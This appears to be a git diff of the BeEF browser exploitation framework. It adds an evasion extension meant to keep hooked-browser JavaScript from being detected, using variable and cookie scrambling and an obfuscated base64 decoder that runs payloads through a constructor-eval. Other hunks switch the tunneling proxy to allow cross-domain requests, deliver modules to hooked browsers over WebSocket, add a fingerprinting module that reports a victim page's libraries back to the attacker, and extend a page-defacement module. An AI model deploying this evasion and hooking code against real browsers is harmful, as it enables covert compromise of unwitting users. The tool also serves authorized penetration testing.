|
||||
@bootstrap
|
||||
end
|
||||
|
||||
def apply_chain(input, techniques)
|
||||
@output = input
|
||||
techniques.each do |technique|
|
||||
#1. get the ruby module inside the obfuscation directory: the file name will be the same of the string used in "chain"
|
||||
#2. call the "execute" method of the ruby module, passing the input
|
||||
#3. update the input in order that next technique will work on the pre-processed input.
|
||||
if File.exists?("#{$root_dir}/extensions/evasion/obfuscation/#{technique}.rb")
|
||||
print_debug "[OBFUSCATION] Applying technique [#{technique}]"
|
||||
klass = BeEF::Extension::Evasion.const_get(technique.capitalize).instance
|
||||
@output = klass.execute(@output, @@config)
|
||||
end
|
||||
@output
|
||||
end
|
||||
@output
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
32
extensions/evasion/extension.rb
Normal file
32
extensions/evasion/extension.rb
Normal file
@@ -0,0 +1,32 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Evasion
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'evasion'
|
||||
@full_name = 'Evasion'
|
||||
@description = 'Contains Evasion and Obfuscation techniques to prevent the likelihood that BeEF will be detected'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/evasion/evasion'
|
||||
require 'extensions/evasion/helper'
|
||||
require 'extensions/evasion/obfuscation/scramble'
|
||||
require 'extensions/evasion/obfuscation/minify'
|
||||
require 'extensions/evasion/obfuscation/base_64'
|
||||
33
extensions/evasion/helper.rb
Normal file
33
extensions/evasion/helper.rb
Normal file
@@ -0,0 +1,33 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Evasion
|
||||
# Common methods used by multiple obfuscation techniques
|
||||
module Helper
|
||||
|
||||
def self.random_string(length=5)
|
||||
chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ'
|
||||
result = ''
|
||||
length.times { result << chars[rand(chars.size)] }
|
||||
result
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
43
extensions/evasion/obfuscation/base_64.rb
Normal file
43
extensions/evasion/obfuscation/base_64.rb
Normal file
@@ -0,0 +1,43 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Evasion
|
||||
class Base_64
|
||||
include Singleton
|
||||
|
||||
def need_bootstrap
|
||||
true
|
||||
end
|
||||
|
||||
def get_bootstrap
|
||||
# the decode function is obfuscated, and it's called "dec" (see below in "execute", where it is used)
|
||||
decode_function = 'var _0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};'
|
||||
end
|
||||
|
||||
def execute(input, config)
|
||||
encoded = Base64.strict_encode64(input)
|
||||
# basically, use atob if supported otherwise a normal base64 JS implementation (ie.: IE :-)
|
||||
var_name = BeEF::Extension::Evasion::Helper::random_string(3)
|
||||
input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(dec(#{var_name}))();"
|
||||
print_debug "[OBFUSCATION - BASE64] Javascript has been base64'ed'"
|
||||
input
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
36
extensions/evasion/obfuscation/minify.rb
Normal file
36
extensions/evasion/obfuscation/minify.rb
Normal file
@@ -0,0 +1,36 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Evasion
|
||||
require 'jsmin'
|
||||
class Minify
|
||||
include Singleton
|
||||
|
||||
def need_bootstrap
|
||||
false
|
||||
end
|
||||
|
||||
def execute(input, config)
|
||||
input = JSMin.minify(input)
|
||||
print_debug "[OBFUSCATION - MINIFIER] Javascript has been minified"
|
||||
input
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
64
extensions/evasion/obfuscation/scramble.rb
Normal file
64
extensions/evasion/obfuscation/scramble.rb
Normal file
@@ -0,0 +1,64 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Evasion
|
||||
class Scramble
|
||||
include Singleton
|
||||
|
||||
def need_bootstrap
|
||||
false
|
||||
end
|
||||
|
||||
def execute(input, config)
|
||||
@output = input
|
||||
|
||||
to_scramble = config.get('beef.extension.evasion.scramble')
|
||||
to_scramble.each do |var, value|
|
||||
if var == value
|
||||
# Variables have not been scrambled yet
|
||||
mod_var = BeEF::Extension::Evasion::Helper::random_string(3)
|
||||
@output.gsub!(var,mod_var)
|
||||
config.set("beef.extension.evasion.scramble.#{var}",mod_var)
|
||||
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]"
|
||||
else
|
||||
# Variables already scrambled, re-use the one already created to maintain consistency
|
||||
@output.gsub!(var,value)
|
||||
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]"
|
||||
end
|
||||
@output
|
||||
end
|
||||
|
||||
if config.get('beef.extension.evasion.scramble_cookies')
|
||||
# ideally this should not be static, but it's static in JS code, so fine for nowend
|
||||
mod_cookie = BeEF::Extension::Evasion::Helper::random_string(5)
|
||||
if config.get('beef.http.hook_session_name') == "BEEFHOOK"
|
||||
@output.gsub!("BEEFHOOK",mod_cookie)
|
||||
config.set('beef.http.hook_session_name',mod_cookie)
|
||||
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{mod_cookie}]"
|
||||
else
|
||||
@output.gsub!("BEEFHOOK",config.get('beef.http.hook_session_name'))
|
||||
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{config.get('beef.http.hook_session_name')}]"
|
||||
end
|
||||
end
|
||||
|
||||
@output
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -82,10 +82,10 @@ module BeEF
|
||||
:path => uri.path,
|
||||
:request_date => Time.now,
|
||||
:hooked_browser_id => self.get_tunneling_proxy,
|
||||
:allow_cross_domain => "false"
|
||||
:allow_cross_domain => "true"
|
||||
)
|
||||
http.save
|
||||
print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}]")
|
||||
print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}], cross domain[#{http.allow_cross_domain}]")
|
||||
|
||||
# Wait for the HTTP response to be stored in the db.
|
||||
# TODO: re-implement this with EventMachine or with the Observer pattern.
|
||||
|
||||
@@ -34,18 +34,45 @@ module BeEF
|
||||
}
|
||||
|
||||
return if output.empty?
|
||||
config = BeEF::Core::Configuration.instance
|
||||
ws = BeEF::Core::Websocket::Websocket.instance
|
||||
|
||||
# Build the BeEFJS requester component
|
||||
build_missing_beefjs_components 'beef.net.requester'
|
||||
# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.
|
||||
#todo antisnatchor: remove this gsub crap adding some hook packing.
|
||||
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
|
||||
content = File.read(find_beefjs_component_path 'beef.net.requester').gsub('//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//', "")
|
||||
add_to_body output
|
||||
ws.send(content + @body,hb.session)
|
||||
#if we use WebSockets, just reply wih the component contents
|
||||
else # if we use XHR-polling, add the component to the main hook file
|
||||
build_missing_beefjs_components 'beef.net.requester'
|
||||
# Send the command to perform the requests to the hooked browser
|
||||
add_to_body output
|
||||
end
|
||||
end
|
||||
|
||||
# Send the command to perform the requests to the hooked browser
|
||||
def add_to_body(output)
|
||||
@body << %Q{
|
||||
beef.execute(function() {
|
||||
beef.net.requester.send(
|
||||
#{output.to_json}
|
||||
);
|
||||
});
|
||||
}
|
||||
beef.execute(function() {
|
||||
beef.net.requester.send(
|
||||
#{output.to_json}
|
||||
);
|
||||
});
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -27,7 +27,7 @@ module BeEF
|
||||
#
|
||||
def start_scan(hb, body)
|
||||
@body = body
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
hb = BeEF::Core::Models::HookedBrowser.first(:id => hb.id)
|
||||
#TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested
|
||||
#TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want
|
||||
@@ -40,23 +40,52 @@ module BeEF
|
||||
xs.update(:is_started => true)
|
||||
|
||||
# build the beefjs xssrays component
|
||||
build_missing_beefjs_components 'beef.net.xssrays'
|
||||
|
||||
# the URI of the XssRays handler where rays should come back if the vulnerability is verified
|
||||
beefurl = BeEF::Core::Server.instance.url
|
||||
cross_domain = xs.cross_domain
|
||||
timeout = xs.clean_timeout
|
||||
debug = BeEF::Core::Configuration.instance.get("beef.extension.xssrays.js_console_logs")
|
||||
debug = config.get("beef.extension.xssrays.js_console_logs")
|
||||
|
||||
@body << %Q{
|
||||
beef.execute(function() {
|
||||
beef.net.xssrays.startScan('#{xs.id}', '#{hb.session}', '#{beefurl}', #{cross_domain}, #{timeout}, #{debug});
|
||||
});
|
||||
}
|
||||
ws = BeEF::Core::Websocket::Websocket.instance
|
||||
|
||||
# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.
|
||||
# todo antisnatchor: remove this gsub crap adding some hook packing.
|
||||
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
|
||||
content = File.read(find_beefjs_component_path 'beef.net.xssrays').gsub('//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//', "")
|
||||
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout, debug
|
||||
ws.send(content + @body,hb.session)
|
||||
#if we use WebSockets, just reply wih the component contents
|
||||
else # if we use XHR-polling, add the component to the main hook file
|
||||
build_missing_beefjs_components 'beef.net.xssrays'
|
||||
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout, debug
|
||||
end
|
||||
|
||||
print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross domain [#{cross_domain}], clean timeout [#{timeout}], js console debug [#{debug}].")
|
||||
|
||||
end
|
||||
|
||||
def add_to_body(id, session, beefurl, cross_domain, timeout, debug)
|
||||
@body << %Q{
|
||||
beef.execute(function() {
|
||||
beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout}, #{debug});
|
||||
});
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -22,4 +22,4 @@ beef:
|
||||
clean_timeout: 3000
|
||||
cross_domain: true
|
||||
# set js_console_logs to false when using BeEF in production (also because IE < 9 doesn't support the console object)
|
||||
js_console_logs: false
|
||||
js_console_logs: true
|
||||
|
||||
171
install-beef
Normal file
171
install-beef
Normal file
@@ -0,0 +1,171 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
clear
|
||||
echo "======================================"
|
||||
echo " BeEF Installer "
|
||||
echo "======================================"
|
||||
echo ""
|
||||
|
||||
echo "CAUTION: This installation script will install a number of BeEF dependencies including the Ruby-RVM environemnt and it's dependencies."
|
||||
echo ""
|
||||
echo "In rare cases, this may lead to unexpected behaviour or package conflicts on some systems."
|
||||
echo ""
|
||||
read -p "Are you sure you wish to continue (Y/n)? "
|
||||
if [ "`echo ${REPLY} | tr [:upper:] [:lower:]`" == "n" ] ; then
|
||||
exit;
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "Detecting OS..";
|
||||
|
||||
|
||||
OS=`uname`
|
||||
|
||||
if [ "${OS}" = "Linux" ] ; then
|
||||
if [ -f /etc/redhat-release ] ; then
|
||||
Distro='RedHat'
|
||||
elif [ -f /etc/debian_version ] ; then
|
||||
Distro='Debian'
|
||||
fi
|
||||
readonly OS
|
||||
readonly Distro
|
||||
fi
|
||||
|
||||
if [ "$OS" == "Darwin" ]; then
|
||||
echo "Mac OSX Detected"
|
||||
echo "Installing Ruby Version Manager (RVM) & Ruby 1.9.3.."
|
||||
bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer)
|
||||
source ~/.bash_login
|
||||
rvm install 1.9.3-p0 --with-gcc=clang
|
||||
rvm use 1.9.3-p0
|
||||
echo ""
|
||||
echo "Downloading BeEF.."
|
||||
|
||||
git clone git://github.com/beefproject/beef.git
|
||||
cd beef
|
||||
|
||||
echo ""
|
||||
echo "Installing Ruby Gems.."
|
||||
bundle install
|
||||
OK="yes"
|
||||
|
||||
./beef
|
||||
|
||||
echo ""
|
||||
echo "=========================================="
|
||||
echo " Install Complete"
|
||||
echo "Please restart Terminal and Run BeEF with:"
|
||||
echo " $ ./beef "
|
||||
echo "=========================================="
|
||||
echo ""
|
||||
|
||||
fi
|
||||
|
||||
if [ "$Distro" == "Debian" ]; then
|
||||
echo "Debian/Ubuntu Detected"
|
||||
echo "Installing Prerequisite Packages.."
|
||||
sudo apt-get update
|
||||
sudo apt-get install curl git
|
||||
|
||||
|
||||
|
||||
sudo apt-get install build-essential openssl libreadline6 libreadline6-dev zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0 libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev autoconf libc6-dev libncurses5-dev automake libtool bison subversion
|
||||
|
||||
bash < <(curl -sk https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer)
|
||||
|
||||
echo '[[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm"' >> ~/.bashrc
|
||||
|
||||
source ~/.bashrc
|
||||
source $HOME/.rvm/scripts/rvm
|
||||
|
||||
rvm install 1.9.2
|
||||
rvm use 1.9.2 --default
|
||||
|
||||
echo "Downloading BeEF.."
|
||||
git clone git://github.com/beefproject/beef.git
|
||||
cd beef
|
||||
|
||||
echo "Installing Ruby Gems"
|
||||
gem install bundler
|
||||
bundle install
|
||||
|
||||
|
||||
./beef
|
||||
|
||||
OK="yes"
|
||||
echo ""
|
||||
echo "=========================================="
|
||||
echo " Install Complete"
|
||||
echo "=========================================="
|
||||
echo ""
|
||||
fi
|
||||
|
||||
|
||||
if [ "$Distro" == "RedHat" ]; then
|
||||
echo "Redhat/Fedora Detected"
|
||||
echo "Installing Prerequisite Packages.."
|
||||
sudo yum install -y git make gcc openssl-devel gcc-c++ patch readline readline-devel zlib zlib-devel libyaml-devel libffi-devel bzip2 autoconf automake libtool bison iconv-devel sqlite-devel
|
||||
|
||||
echo ""
|
||||
echo "Installing Ruby Version Manager (RVM) & Ruby 1.9.2"
|
||||
wget https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer
|
||||
bash ./rvm-installer
|
||||
source ~/.rvm/scripts/rvm
|
||||
rvm pkg install openssl
|
||||
rvm install 1.9.2 --with-openssl-dir=$rvm_path/usr
|
||||
source ~/.rvm/scripts/rvm
|
||||
rvm use 1.9.2 --default
|
||||
|
||||
echo "Downloading BeEF.."
|
||||
git clone git://github.com/beefproject/beef.git
|
||||
cd beef
|
||||
|
||||
gem install bundler
|
||||
bundle
|
||||
|
||||
source ~/.bash_profile
|
||||
|
||||
./beef
|
||||
|
||||
OK="yes"
|
||||
echo ""
|
||||
echo "=========================================="
|
||||
echo " Install Complete"
|
||||
echo "=========================================="
|
||||
echo ""
|
||||
|
||||
fi
|
||||
|
||||
if [ "$OK" == "yes" ]; then
|
||||
echo ""
|
||||
else
|
||||
echo ""
|
||||
echo "======================================="
|
||||
echo " Install Failed"
|
||||
echo "Unable to locate installer for your OS:"
|
||||
echo $OS
|
||||
echo $Distro
|
||||
echo "======================================="
|
||||
echo ""
|
||||
fi
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
96
modules/browser/hooked_domain/ajax_fingerprint/command.js
Normal file
96
modules/browser/hooked_domain/ajax_fingerprint/command.js
Normal file
@@ -0,0 +1,96 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
//Regular expression to match script names in source
|
||||
var regex = new RegExp('/\\w*\.(min\.)?js');
|
||||
var results = [];
|
||||
var urls = "";
|
||||
|
||||
Array.prototype.unique = function() {
|
||||
var o = {}, i, l = this.length, r = [];
|
||||
for(i=0; i<l;i+=1) o[this[i]] = this[i];
|
||||
for(i in o) r.push(o[i]);
|
||||
return r;
|
||||
};
|
||||
// Fingerprints of javascript /ajax libraries . Library Name: Array of common file names
|
||||
|
||||
var fingerprints = {
|
||||
"Prototype":new Array("prototype"),
|
||||
"script.aculous":new Array("builder","controls","dragdrop","effects","scriptaculous","slider","unittest"),
|
||||
"Dojo":new Array("dojo.uncompressed","uncompressed","dojo"),
|
||||
"DWR":new Array("auth","engine","util"),
|
||||
"Moo.fx/":new Array("Moo","Function","Array","String","Element","Fx","Dom","Ajax","Drag","Windows","Cookie","Json","Sortable","Fxpack","Fxutils","Fxtransition","Tips","Accordion"),
|
||||
"Rico": new Array("rico","ricoAjax","ricoCommon","ricoEffects","ricoBehaviours","ricoDragDrop","ricoComponents"),
|
||||
"Mootools":new Array("mootools","mootools-core-1.4-full","mootools-more-1.4-full"),
|
||||
"Mochikit":new Array("Mochikit"),
|
||||
"Yahoo UI!": new Array("animation","autocomplete","calendar","connection","container","dom","enevet","logger","menu","slider","tabview","treeview","utilities","yahoo","yahoo-dom-event"),
|
||||
"xjax":new Array("xajax","xajax_uncompressed"),
|
||||
"GWT": new Array("gwt","search-results"),
|
||||
"Atlas": new Array("AtlasRuntime","AtlasBindings","AtlasCompat","AtlasCompat2"),
|
||||
"jquery":new Array("jquery","jquery-latest","jquery-latest","jquery-1.5"),
|
||||
"ExtJS":new Array("ext-all"),
|
||||
"Prettify":new Array("prettify"),
|
||||
"Spry": new Array("SpryTabbedPanels","SpryDOMUtils","SpryData","SpryXML","SpryUtils","SpryURLUtils","SpryDataExtensions","SpryDataShell","SpryEffects","SpryPagedView","SpryXML"),
|
||||
"Google JS Libs":new Array("xpath","urchin","ga"),
|
||||
"Libxmlrequest":new Array("libxmlrequest"),
|
||||
"jx":new Array ("jx","jxs"),
|
||||
"bajax":new Array("bajax"),
|
||||
"AJS": new Array ("AJS","AJS_fx"),
|
||||
"Greybox":new Array("gb_scripts.js"),
|
||||
"Qooxdoo":new Array("qx.website-devel","qooxdoo-1.6","qooxdoo-1.5.1","qxserver","q","q.domain","q.sticky","q.placeholder","shCore","shBrushScript"),
|
||||
|
||||
};
|
||||
|
||||
function fp() {
|
||||
try{
|
||||
var sc = document.scripts;
|
||||
var urls ="";
|
||||
var source = ""
|
||||
if (sc != null){
|
||||
for (sc in document.scripts){
|
||||
source =document.scripts[sc]['src'] || "";
|
||||
if(source !=""){
|
||||
//get the script file name and remove unnecessary endings and such
|
||||
var comp = source.match(regex).toString().replace(new RegExp("/|.min|.pack|.uncompressed|.js\\W","g"),"");
|
||||
for (key in fingerprints){
|
||||
for (name in fingerprints[key]){
|
||||
// match name in the fingerprint object
|
||||
if(comp==fingerprints[key][name]){
|
||||
results.push("Lib:"+key+" src:"+source);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if(results.length >0){
|
||||
urls=results.unique().join('||');
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+urls);
|
||||
}
|
||||
else{
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+urls);
|
||||
}
|
||||
}
|
||||
catch(e){
|
||||
results = "Fingerprint failed: "+e.message;
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+results.toString());
|
||||
}
|
||||
}
|
||||
|
||||
fp();
|
||||
|
||||
});
|
||||
27
modules/browser/hooked_domain/ajax_fingerprint/config.yaml
Normal file
27
modules/browser/hooked_domain/ajax_fingerprint/config.yaml
Normal file
@@ -0,0 +1,27 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
ajax_fingerprint:
|
||||
enable: true
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Fingerprint Ajax"
|
||||
description: "Fingerprint Ajax and JS libraries present on the hooked page."
|
||||
authors: ["qswain"]
|
||||
target:
|
||||
working: ["FF","S"]
|
||||
not_working: ["C"]
|
||||
|
||||
27
modules/browser/hooked_domain/ajax_fingerprint/module.rb
Normal file
27
modules/browser/hooked_domain/ajax_fingerprint/module.rb
Normal file
@@ -0,0 +1,27 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class Ajax_fingerprint < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['script_urls'] = @datastore['script_urls'] if not @datastore['script_urls'].nil?
|
||||
if content.empty?
|
||||
content['fail'] = 'Failed to fingerprint ajax.'
|
||||
end
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
alert_dialog:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Create Alert Dialog"
|
||||
description: "Sends an alert dialog to the hooked browser."
|
||||
authors: ["wade", "bm"]
|
||||
@@ -14,7 +14,10 @@
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
document.body.innerHTML = "<%= @deface_content %>";
|
||||
document.title = "<%= @deface_title %>";
|
||||
beef.browser.changeFavicon("<%= @deface_favicon %>");
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful");
|
